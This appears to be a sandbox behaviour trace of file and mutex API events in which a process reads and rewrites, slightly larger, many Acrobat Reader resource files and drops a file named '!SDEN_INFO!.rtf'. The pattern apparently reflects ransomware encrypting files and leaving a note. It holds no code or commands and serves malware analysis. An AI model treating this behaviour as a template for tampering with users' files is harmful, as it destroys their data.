File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hu-hu\ui-strings.js, size = 4677, size_out = 4677	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\hu-hu\ui-strings.js, size = 6093	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ru-ru\ui-strings.js, size = 6090, size_out = 6090	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\ru-ru\ui-strings.js, size = 7506	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\selector.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\selector.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\selector.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-feedback-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-feedback-2x.png, size = 16384, size_out = 16384	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-feedback-2x.png, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-feedback-2x.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-feedback-2x.png, size = 16384	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\close.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\close.png, size = 160, size_out = 160	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\close.png, size = 1576	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf.png, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\edit-pdf.png, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit-press.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit-press.svg, size = 3862, size_out = 3862	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen-exit-press.svg, size = 5278	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile.png, size = 16384, size_out = 16384	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile.png, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\go-mobile.png, size = 16384	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\da-dk\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\da-dk\PlayStore_icon.svg, size = 5404, size_out = 5404	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\da-dk\PlayStore_icon.svg, size = 6820	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fr-fr\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fr-fr\PlayStore_icon.svg, size = 7817, size_out = 7817	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fr-fr\PlayStore_icon.svg, size = 9233	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pl-pl\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pl-pl\PlayStore_icon.svg, size = 6043, size_out = 6043	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\pl-pl\PlayStore_icon.svg, size = 7459	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\AppStore_icon.svg, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\AppStore_icon.svg, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-de_de.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-de_de.gif, size = 32768, size_out = 32768	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-de_de.gif, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-de_de.gif, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-de_de.gif, size = 32768	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2-2x.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2-2x.gif, size = 61440, size_out = 61440	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2-2x.gif, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2-2x.gif, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2-2x.gif, size = 61440	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-variant2-2x.gif, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sign-in-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sign-in-2x.png, size = 16384, size_out = 16384	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sign-in-2x.png, size = 4096, size_out = 4096	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sign-in-2x.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\sign-in-2x.png, size = 16384	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WordContent-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WordContent-2x.png, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WordContent-2x.png, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\WordContent-2x.png, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-il\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-il\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\en-il\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ko-kr\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ko-kr\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\ko-kr\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sv-se\ui-strings.js, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sv-se\ui-strings.js, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\sv-se\ui-strings.js, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\example_icons.png, size = 683, size_out = 683	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\example_icons.png, size = 2099	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon_hover.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon_hover.png, size = 388, size_out = 388	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\images\themes\dark\rhp_world_icon_hover.png, size = 1804	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nl-nl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nl-nl\ui-strings.js, size = 1113, size_out = 1113	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\pages-app\js\nls\nl-nl\ui-strings.js, size = 2529	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ca-es\ui-strings.js, size = 916, size_out = 916	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ca-es\ui-strings.js, size = 2332	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-ma\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-ma\ui-strings.js, size = 923, size_out = 923	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\fr-ma\ui-strings.js, size = 2339	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ro-ro\ui-strings.js, size = 936, size_out = 936	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\ro-ro\ui-strings.js, size = 2352	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-tw\ui-strings.js, size = 896, size_out = 896	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sample-files\js\nls\zh-tw\ui-strings.js, size = 2312	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fi_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fi_135x40.svg, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fi_135x40.svg, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_fi_135x40.svg, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_sv_135x40.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_sv_135x40.svg, size = 4096, size_out = 4096	2	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_sv_135x40.svg, size = 5512	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Appstore\Download_on_the_App_Store_Badge_sv_135x40.svg, size = 4096	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\az_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\az_get.svg, size = 7111, size_out = 7111	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\az_get.svg, size = 8527	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\fil_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\uk-ua\!SDEN_INFO!.rtf, size = 6358, size_out = 6358	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\uk-ua\!SDEN_INFO!.rtf, size = 7774	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ms_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ms_get.svg, size = 5947, size_out = 5947	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\ms_get.svg, size = 7363	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\sv_get.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\sv_get.svg, size = 6196, size_out = 6196	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\sv_get.svg, size = 7612	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ca-es\ui-strings.js, size = 1450, size_out = 1450	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ca-es\ui-strings.js, size = 2866	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hu-hu\ui-strings.js, size = 1598, size_out = 1598	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\hu-hu\ui-strings.js, size = 3014	1	Fn
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ru-ru\ui-strings.js, size = 1822, size_out = 1822	1	Fn
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\ru-ru\ui-strings.js, size = 3238	1	Fn
